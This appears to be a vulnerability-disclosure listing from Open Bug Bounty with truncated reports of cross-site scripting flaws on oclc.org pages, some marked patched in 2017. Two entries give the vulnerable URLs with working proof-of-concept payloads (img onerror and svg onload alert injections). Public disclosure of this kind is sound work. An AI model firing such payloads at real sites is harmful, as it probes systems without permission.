support.oclc.org Cross Site Scripting vulnerability OBB-3392332

Following the coordinated and responsible vulnerability disclosure guidelines of the ISO 29147 standard, Open Bug Bounty has: a. verified the vulnerability and confirmed its existence; b. notified the website operator about its existence. Technical details of the vulnerability are currently hidde...

oclc.org XSS vulnerability

Vulnerable URL: http://www.oclc.org/en//search-results.html?output=xmlnodtd=utf8=utf8=0=marketingen"'--!confirmOPENBUGBOUNTY...

oclc.org XSS vulnerability

Vulnerable URL: http://www.oclc.org/en-US/search-results.html?q=OPENBUGBOUNTY=%22%3E%3Cimg%20src=1%20onerror=alert%28/OPENBUGBOUNTY/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 06.04.2017 Latest check for patch:| 06.04.2017 14:48 GMT Vulnerability type:| XSS Vulnerability status:|...

oclc.org XSS vulnerability

Vulnerable URL: http://www.oclc.org/search-results.en.html?output=xmlnodtd=utf8=utf8=0=wwwworldwideall%22%3E%3Csvg/onload=alert%28/xssposed/%29%3E=wwwworldwide=hello=10=langen=date:D:L:d1&=p=3=0=amarketingmembership=allfilter Details: Description| Value ---|--- Patched:| Yes, at 07.04.2017 Latest...